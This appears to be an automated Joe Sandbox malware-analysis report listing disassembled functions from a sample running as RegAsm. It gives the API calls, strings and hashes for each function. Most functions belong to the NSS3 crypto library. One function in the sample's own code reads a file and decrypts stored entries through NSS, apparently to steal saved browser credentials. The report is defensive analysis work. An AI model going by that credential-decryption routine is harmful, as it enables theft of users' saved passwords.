Instruction ID: 62284350b11d04094d0f12337035db4d88f867df381029deb3f55d11e778ff10
Opcode Fuzzy Hash: 27d1d36efcfc255362a3b2205db09029a1612530da4f041d73de09e4dbc4c072
Instruction Fuzzy Hash: 56419335602094AFDB10EF94DD48E8A7BB5EB4621CF448069E90867611DB31E929CFD3

Function 6C3A6D60 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6C3A6D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C3A6DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C3A6DC3

Part of subcall function 6C48D930: PL_strncpyz.NSS3(?,?,?), ref: 6C48D963

PR_LogPrint.NSS3(?,00000000), ref: 6C3A6DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C3A6DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C3A6E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6C3A6E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6C3A6E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6C3A6EB9

Strings

pDigest = 0x%p, xrefs: 6C3A6E27
nHl, xrefs: 6C3A6E61, 6C3A6E95
(CK_INVALID_HANDLE), xrefs: 6C3A6DBC
*pulDigestLen = 0x%x, xrefs: 6C3A6EB4
C_Digest, xrefs: 6C3A6D81
ulDataLen = %d, xrefs: 6C3A6E0E
pulDigestLen = 0x%p, xrefs: 6C3A6E42
hSession = 0x%x, xrefs: 6C3A6D9E, 6C3A6DAE
pData = 0x%p, xrefs: 6C3A6DF5

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest$nHl
API String ID: 1003633598-238301970
Opcode ID: 75f6287ac9964ef9fbcbf589f8d31735fbdeb11189a0aacf8b2f2ca437867573
Instruction ID: 54ee36e042f69b18a41ff069e70150322f7d1c71b054551f9c609843109c356b
Opcode Fuzzy Hash: 75f6287ac9964ef9fbcbf589f8d31735fbdeb11189a0aacf8b2f2ca437867573
Instruction Fuzzy Hash: 0041B235602064AFDB10FF98DD49E8A7BB5EB4671CF048068E90897A12DB31EC59CFD2

Function 6C3A6960 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptUpdate), ref: 6C3A6986
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C3A69B4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C3A69C3

Part of subcall function 6C48D930: PL_strncpyz.NSS3(?,?,?), ref: 6C48D963

PR_LogPrint.NSS3(?,00000000), ref: 6C3A69D9
PR_LogPrint.NSS3( pEncryptedPart = 0x%p,?), ref: 6C3A69FA
PR_LogPrint.NSS3( ulEncryptedPartLen = %d,?), ref: 6C3A6A13
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C3A6A2C
PR_LogPrint.NSS3( pulPartLen = 0x%p,?), ref: 6C3A6A47
PR_LogPrint.NSS3( *pulPartLen = 0x%x,?), ref: 6C3A6AB9

Strings

nHl, xrefs: 6C3A6A61, 6C3A6A95
(CK_INVALID_HANDLE), xrefs: 6C3A69BC
C_DecryptUpdate, xrefs: 6C3A6981
hSession = 0x%x, xrefs: 6C3A699E, 6C3A69AE
*pulPartLen = 0x%x, xrefs: 6C3A6AB4
pEncryptedPart = 0x%p, xrefs: 6C3A69F5
ulEncryptedPartLen = %d, xrefs: 6C3A6A0E
pPart = 0x%p, xrefs: 6C3A6A27
pulPartLen = 0x%p, xrefs: 6C3A6A42

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulPartLen = 0x%x$ hSession = 0x%x$ pEncryptedPart = 0x%p$ pPart = 0x%p$ pulPartLen = 0x%p$ ulEncryptedPartLen = %d$ (CK_INVALID_HANDLE)$C_DecryptUpdate$nHl
API String ID: 1003633598-1412383254
Opcode ID: 790b0273eaef02aeaa84649f52027d8aca69ebf63541f8ff53bf1f7a8ab18bff
Instruction ID: 04927c6a66ccd2a6bb3b29d12bf9abded1696a3373c44deb3361c5698a7a61af
Opcode Fuzzy Hash: 790b0273eaef02aeaa84649f52027d8aca69ebf63541f8ff53bf1f7a8ab18bff
Instruction Fuzzy Hash: F341C375602154ABDB10EF98DD48F8E7BB1EB4631CF048068E90897611DB31EC59CFD2

Function 6C3B4C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C3B4C4C
EnterCriticalSection.KERNEL32(?), ref: 6C3B4C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C3B4CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C3B4CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C3B4CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3B4D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3B4D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C3B4DB7

Part of subcall function 6C41DD70: TlsGetValue.KERNEL32 ref: 6C41DD8C
Part of subcall function 6C41DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C41DDB4

Part of subcall function 6C3607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C2F204A), ref: 6C3607AD
Part of subcall function 6C3607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C2F204A), ref: 6C3607CD
Part of subcall function 6C3607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C2F204A), ref: 6C3607D6
Part of subcall function 6C3607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C2F204A), ref: 6C3607E4
Part of subcall function 6C3607A0: TlsSetValue.KERNEL32(00000000,?,6C2F204A), ref: 6C360864
Part of subcall function 6C3607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C360880
Part of subcall function 6C3607A0: TlsSetValue.KERNEL32(00000000,?,?,6C2F204A), ref: 6C3608CB
Part of subcall function 6C3607A0: TlsGetValue.KERNEL32(?,?,6C2F204A), ref: 6C3608D7
Part of subcall function 6C3607A0: TlsGetValue.KERNEL32(?,?,6C2F204A), ref: 6C3608FB

TlsGetValue.KERNEL32 ref: 6C3B4DD7
EnterCriticalSection.KERNEL32(?), ref: 6C3B4DEC
PR_Unlock.NSS3(?), ref: 6C3B4E1B
PR_SetError.NSS3(00000000,00000000), ref: 6C3B4E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3B4E5A
PR_SetError.NSS3(00000000,00000000), ref: 6C3B4E71
free.MOZGLUE(00000000), ref: 6C3B4E7A
PR_Unlock.NSS3(?), ref: 6C3B4EA2
TlsGetValue.KERNEL32 ref: 6C3B4EC1
EnterCriticalSection.KERNEL32(?), ref: 6C3B4ED6
PR_Unlock.NSS3(?), ref: 6C3B4F01
free.MOZGLUE(00000000), ref: 6C3B4F2A

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: c9179fd95efdfec0b433bd09fdcd06db8fc3f5e6f552f4e61959e8aa2953dc3e
Instruction ID: 02217a87d83ce7768213f19bb11266b71a9296dcdfacfd5c1e27193e3c94620f
Opcode Fuzzy Hash: c9179fd95efdfec0b433bd09fdcd06db8fc3f5e6f552f4e61959e8aa2953dc3e
Instruction Fuzzy Hash: A7B1D175A002059FDB01EF68D884AAA77B4BF19318F044128ED15A7F11E736EA64CFE5

Function 6C406E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6C406BF7), ref: 6C406EB6

Part of subcall function 6C361240: TlsGetValue.KERNEL32(00000040,?,6C36116C,NSPR_LOG_MODULES), ref: 6C361267
Part of subcall function 6C361240: EnterCriticalSection.KERNEL32(?,?,?,6C36116C,NSPR_LOG_MODULES), ref: 6C36127C
Part of subcall function 6C361240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C36116C,NSPR_LOG_MODULES), ref: 6C361291
Part of subcall function 6C361240: PR_Unlock.NSS3(?,?,?,?,6C36116C,NSPR_LOG_MODULES), ref: 6C3612A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6C4AFC0A,6C406BF7), ref: 6C406ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C406EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6C406EFC
PR_NewLock.NSS3 ref: 6C406F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C406F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6C406BF7), ref: 6C406F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6C406BF7), ref: 6C406F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6C406BF7), ref: 6C406FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6C406BF7), ref: 6C406FFD

Strings

# SSL/TLS secrets log file, generated by NSS, xrefs: 6C406EF7
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6C406FDB
SSLFORCELOCKS, xrefs: 6C406F2B
NSS_SSL_CBC_RANDOM_IV, xrefs: 6C406FF8
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6C406F4F
SSLKEYLOGFILE, xrefs: 6C406EB1

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 4ddd136ac02f5bf5d414a48551c774e15f071e12c5553670eb0ce8afe2f7e0ee
Instruction ID: 207d936f70878862a2378f755dbacfabe7cf3928537d0f1411ba23d6d67e3fc0
Opcode Fuzzy Hash: 4ddd136ac02f5bf5d414a48551c774e15f071e12c5553670eb0ce8afe2f7e0ee
Instruction Fuzzy Hash: FDA1D9B2B9998146F610EB3CC801F8837A2A79336AF584379E931C7FD5DB75A481C643

Function 0040C990 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 383filestringCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(00000000), ref: 0040C9A5

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 0040CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0040CAA8
??2@YAPAXI@Z.MSVCRT(-00000001), ref: 0040CAB5
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0040CAD9
StrStrA.SHLWAPI(?,011919D0,00420B52), ref: 0040CAF7
StrStrA.SHLWAPI(00000000,01191C40), ref: 0040CB1E
StrStrA.SHLWAPI(?,01191208,00000000,?,00421458,00000000,?,00000000,00000000,?,0118AAB8,00000000,?,00421454,00000000,?), ref: 0040CCA2
StrStrA.SHLWAPI(00000000,011914C8), ref: 0040CCB9

Part of subcall function 0040C820: memset.MSVCRT ref: 0040C853
Part of subcall function 0040C820: lstrlenA.KERNEL32(?,00000001,?,00000000,00000000,00000000,00000000,?,0118AA48), ref: 0040C871
Part of subcall function 0040C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0040C87C
Part of subcall function 0040C820: PK11_GetInternalKeySlot.NSS3 ref: 0040C88A
Part of subcall function 0040C820: PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0040C8A5
Part of subcall function 0040C820: PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0040C8EB
Part of subcall function 0040C820: memcpy.MSVCRT(?,?,?), ref: 0040C912
Part of subcall function 0040C820: PK11_FreeSlot.NSS3(?), ref: 0040C961

StrStrA.SHLWAPI(?,011914C8,00000000,?,0042145C,00000000,?,00000000,0118AA48), ref: 0040CD5A
StrStrA.SHLWAPI(00000000,0118AC18), ref: 0040CD71

Part of subcall function 0040C820: lstrcatA.KERNEL32(?,00420B46), ref: 0040C943
Part of subcall function 0040C820: lstrcatA.KERNEL32(?,00420B47), ref: 0040C957
Part of subcall function 0040C820: lstrcatA.KERNEL32(?,00420B4E), ref: 0040C978

lstrlenA.KERNEL32(00000000), ref: 0040CE44
CloseHandle.KERNEL32(00000000), ref: 0040CE9C
NSS_Shutdown.NSS3 ref: 0040CEAA

Strings

, xrefs: 0040C9C6

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$Filelstrcpy$K11_lstrlen$PointerSlot$??2@AuthenticateBinaryCloseCryptDecryptFreeHandleInitInternalReadShutdownSizeStringmemcpymemset
String ID:
API String ID: 4120691046-3916222277
Opcode ID: 506ee09c71326fac3e7cc04b7e92ca4b2dc02a0ed577630804e8f97fca29bf17
Instruction ID: fb2464dfdb87d028b9341c66972094ccea7bc9213c5b9a6eafc00a4a54def107
Opcode Fuzzy Hash: 506ee09c71326fac3e7cc04b7e92ca4b2dc02a0ed577630804e8f97fca29bf17
Instruction Fuzzy Hash: 2FE13E71911108ABCB14FBA1DC91FEEB779AF14314F40416EF10673191EF386A9ACB6A

Function 6C3DE8C0 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 353memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(0000001C,?,6C3DE853,?,FFFFFFFF,?,?,6C3DB0CC,?,6C3DB4A0,?,00000000), ref: 6C3DE8D9

Part of subcall function 6C3D0D30: calloc.MOZGLUE ref: 6C3D0D50
Part of subcall function 6C3D0D30: TlsGetValue.KERNEL32 ref: 6C3D0D6D

Part of subcall function 6C3DC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C3DDAE2,?), ref: 6C3DC6C2

PORT_ArenaMark_Util.NSS3(?), ref: 6C3DE972
PORT_ArenaMark_Util.NSS3(?), ref: 6C3DE9C2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C3DEA00
PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6C3DEA3F
SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6C3DEA5A
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C3DEA81
SECOID_SetAlgorithmID_Util.NSS3(?,?,00000010,00000000), ref: 6C3DEA9E
SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C3DEACF
PK11_KeyGen.NSS3(00000000,-00000001,00000000,?,00000000), ref: 6C3DEB56
PK11_FreeSymKey.NSS3(00000000), ref: 6C3DEBC2
SECOID_FindOID_Util.NSS3(?), ref: 6C3DEBEC
free.MOZGLUE(00000000), ref: 6C3DEC58

Strings

S=l, xrefs: 6C3DE9CA, 6C3DEAAB

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Util$Find$ArenaTag_$AlgorithmAlloc_K11_Mark_$DestroyFreePublicValuecallocfree
String ID: S=l
API String ID: 759478663-925359542
Opcode ID: 327c9d9cd97918a09db45c07b540aaf783363f046931ec5d7adf0dc932f0ef34
Instruction ID: 87fb8b960cb22e5efd3aa1c8e8a883e75565be097cf02db3af77f9646594a64a
Opcode Fuzzy Hash: 327c9d9cd97918a09db45c07b540aaf783363f046931ec5d7adf0dc932f0ef34
Instruction Fuzzy Hash: 7BC175B2E053059BEB00DF65D880BAABBB4AF04718F160469E91697B51E732F804CFE1

Function 6C3A4E60 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6C3A4E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C3A4EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C3A4EC7

Part of subcall function 6C48D930: PL_strncpyz.NSS3(?,?,?), ref: 6C48D963

PR_LogPrint.NSS3(?,00000000), ref: 6C3A4EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C3A4F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C3A4F1A
PR_LogPrint.NSS3(?,00000000), ref: 6C3A4F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6C3A4F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6C3A4F68

Strings

ulCount = %d, xrefs: 6C3A4F63
nHl, xrefs: 6C3A4F82, 6C3A4FB2
(CK_INVALID_HANDLE), xrefs: 6C3A4EC0, 6C3A4F13
C_GetAttributeValue, xrefs: 6C3A4E7E
pTemplate = 0x%p, xrefs: 6C3A4F4A
hSession = 0x%x, xrefs: 6C3A4EA2, 6C3A4EB2
hObject = 0x%x, xrefs: 6C3A4EF5, 6C3A4F05

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue$nHl
API String ID: 1003633598-1146449874
Opcode ID: 5aabb26b1349f1317e0df067c57c7147511062cbd4c9d5b39744ea684eedeeb1
Instruction ID: c890c0aa8aab6d8c72eae3bc9bb3ef2e648aef9a068e289f3a99e2cf998ab194
Opcode Fuzzy Hash: 5aabb26b1349f1317e0df067c57c7147511062cbd4c9d5b39744ea684eedeeb1
Instruction Fuzzy Hash: 7B41E034602154ABDB10EF94DD88F9A7BB5EB4631DF049029E9085BA11DF34ED1ACFA2

Function 6C3A4CD0 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6C3A4CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C3A4D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C3A4D37

Part of subcall function 6C48D930: PL_strncpyz.NSS3(?,?,?), ref: 6C48D963

PR_LogPrint.NSS3(?,00000000), ref: 6C3A4D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C3A4D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C3A4D8A
PR_LogPrint.NSS3(?,00000000), ref: 6C3A4DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6C3A4DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6C3A4E20

Strings

nHl, xrefs: 6C3A4DD4, 6C3A4DFF
(CK_INVALID_HANDLE), xrefs: 6C3A4D30, 6C3A4D83
*pulSize = 0x%x, xrefs: 6C3A4E1B
hSession = 0x%x, xrefs: 6C3A4D12, 6C3A4D22
pulSize = 0x%p, xrefs: 6C3A4DB7
C_GetObjectSize, xrefs: 6C3A4CEE
hObject = 0x%x, xrefs: 6C3A4D65, 6C3A4D75

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize$nHl
API String ID: 1003633598-1362116827
Opcode ID: 2bd9c1c0cb1ae77426720ecfe989c80338e12b924684d62f1286a9cdebc5c9be
Instruction ID: d59bd4a4347463a580fd64eacc5e50689b1348169c81a67d78436679d1b9b2a1
Opcode Fuzzy Hash: 2bd9c1c0cb1ae77426720ecfe989c80338e12b924684d62f1286a9cdebc5c9be
Instruction Fuzzy Hash: 8F41D231602154AFDB10FB94DD88F6A7B75EB4630DF048029E8086BA12DF35AC59CFA2

Function 6C3AA9A0 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptMessageBegin), ref: 6C3AA9C6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C3AA9F4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C3AAA03

Part of subcall function 6C48D930: PL_strncpyz.NSS3(?,?,?), ref: 6C48D963

PR_LogPrint.NSS3(?,00000000), ref: 6C3AAA19
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6C3AAA3A
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6C3AAA55
PR_LogPrint.NSS3( pAssociatedData = 0x%p,?), ref: 6C3AAA6E
PR_LogPrint.NSS3( ulAssociatedDataLen = 0x%p,?), ref: 6C3AAA87

Strings

C_DecryptMessageBegin, xrefs: 6C3AA9C1
